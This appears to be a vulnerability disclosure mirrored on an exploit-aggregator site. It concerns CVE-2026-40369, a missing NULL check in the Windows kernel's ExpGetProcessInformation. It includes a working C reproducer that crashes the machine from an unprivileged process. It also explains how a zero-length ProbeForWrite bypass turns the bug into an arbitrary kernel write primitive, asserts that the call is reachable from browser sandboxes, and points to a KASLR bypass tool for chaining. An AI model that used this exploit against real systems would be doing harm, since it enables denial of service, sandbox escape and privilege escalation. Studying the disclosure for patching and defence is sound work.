## https://sploitus.com/exploit?id=13772F30-B812-560D-A5D1-F63287263E0F
# CVE-2026-40369: Arbitrary Kernel Address Increment via NtQuerySystemInformation (Class 253)
## Summary
- **Type:** Arbitrary kernel write (increment) โ PRIVILEGE ESCALATION PRIMITIVE
- **Component:** ntoskrnl.exe โ `ExpGetProcessInformation`
- **Trigger:** `NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)`
- **Impact:** Arbitrary kernel address increment (write primitive) from any unprivileged process
- **Reachable from Chrome sandbox:** YES (NtQuerySystemInformation is not blocked)
- **Windows versions:** Windows 11 24H2-25H2
- **Exploit reliablity** 100% deterministic
- **KASLR Bypass can be chained with prefetch tool** https://github.com/exploits-forsale/prefetch-tool
## Root Cause
`ExpGetProcessInformation` is called by `ExpQuerySystemInformation` for info classes
5 (SystemProcessInformation), 0x39, 0x94, 0xFC, and **0xFD (253 = SystemProcessInformationExtension)**.
The call site at `ExpQuerySystemInformation+0xD7A`:
```c
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
```
When userBuffer is NULL (e.g., probing for required buffer size), the function enters:
```c
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
v91 = buffer; // = NULL
if (infoClass == 252) {
v86 = v91; // class 252 uses v86
// ...
} else {
v86 = NULL;
if (infoClass == 253) {
v95 = v91; // v95 = NULL (BUG: no NULL check!)
goto LABEL_11;
}
// class 5 path - uses v81, doesn't touch v95
}
v95 = NULL; // class 252 path falls through here
LABEL_11:
// ... process iteration loop ...
while (NextProcess) {
if (infoClass == 253) {
++*v95; // CRASH: v95 is NULL when buffer is NULL
v95[1] += ...; // Would also crash
v95[2] += ...; // Would also crash
}
// class 5/252 paths handle NULL buffer correctly
}
}
```
For class 253, `v95` is set to the buffer pointer (`v91 = buffer = NULL`) without any NULL check.
The process iteration loop then tries to increment a counter at `*v95`, causing a NULL pointer
dereference in kernel mode โ BSOD.
Classes 5 and 252 handle NULL buffers correctly because they use different variables (`v81`/`v86`)
and have proper checks before dereferencing.
## Crash Details
```
PROCESS_NAME: enum_sysinfo.exe
nt!ExpGetProcessInformation+0x42e:
fffff801`d7adb22e ff03 inc dword ptr [rbx] ; rbx = 0x0000000000000000
Registers:
rbx = 0 (NULL โ the v95 pointer)
r14 = 0xC (= 12 = per-entry size for class 253, confirming class 253 path)
r15 = fffff801d7fcef00 (EPROCESS of current process being iterated)
Stack:
nt!ExpGetProcessInformation+0x42e
nt!ExpQuerySystemInformation+0xd7f
nt!NtQuerySystemInformation+0x91
nt!KiSystemServiceCopyEnd+0x25
ntdll!NtQuerySystemInformation+0x14
```
## Reproduction
Minimal reproducer (unprivileged, no special tokens needed):
```c
#include
#include
// Class 253 = SystemProcessInformationExtension
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
int main() {
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
ULONG needed = 0;
// This call will BSOD the machine:
pNtQSI(253, NULL, 0, &needed);
return 0;
}
```
## Exploitability Assessment โ ARBITRARY KERNEL WRITE
### The ProbeForWrite Bypass
`ExpQuerySystemInformation` calls `ProbeForWrite(buffer, Length, alignment)` before dispatching.
**ProbeForWrite with Length=0 is a complete NO-OP** โ the entire function body is gated by `if (Length)`.
So: `NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)` passes an unvalidated
kernel pointer through to `ExpGetProcessInformation`.
### The Write Primitive
For each process on the system, the function executes:
```c
v95 = userBuffer; // attacker-controlled pointer, NOT validated for class 253 with Length=0
// For EACH process:
++*v95; // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
```
This gives:
- **addr+0:** Incremented by 1 per process โ total = number of processes on the system
- **addr+4:** Sum of all process thread counts
- **addr+8:** Sum of all process handle counts
### Why the writes happen despite LENGTH=0
`ExpGetProcessInformation` checks `if (length < 12)` and sets STATUS_INFO_LENGTH_MISMATCH,
but **does NOT return early**. It stores the error status and continues into the process
iteration loop, executing the writes to `v95` for every process before finally returning
the error status.
### Works From Chrome Sandbox, Edge, Firefox
Fully reachable:
- NtQuerySystemInformation is NOT blocked by win32k lockdown
- The restricted token does NOT prevent this syscall
- Untrusted integrity level does NOT prevent this syscall

## Credit
Found and written by Ori Nimron (@orinimron123)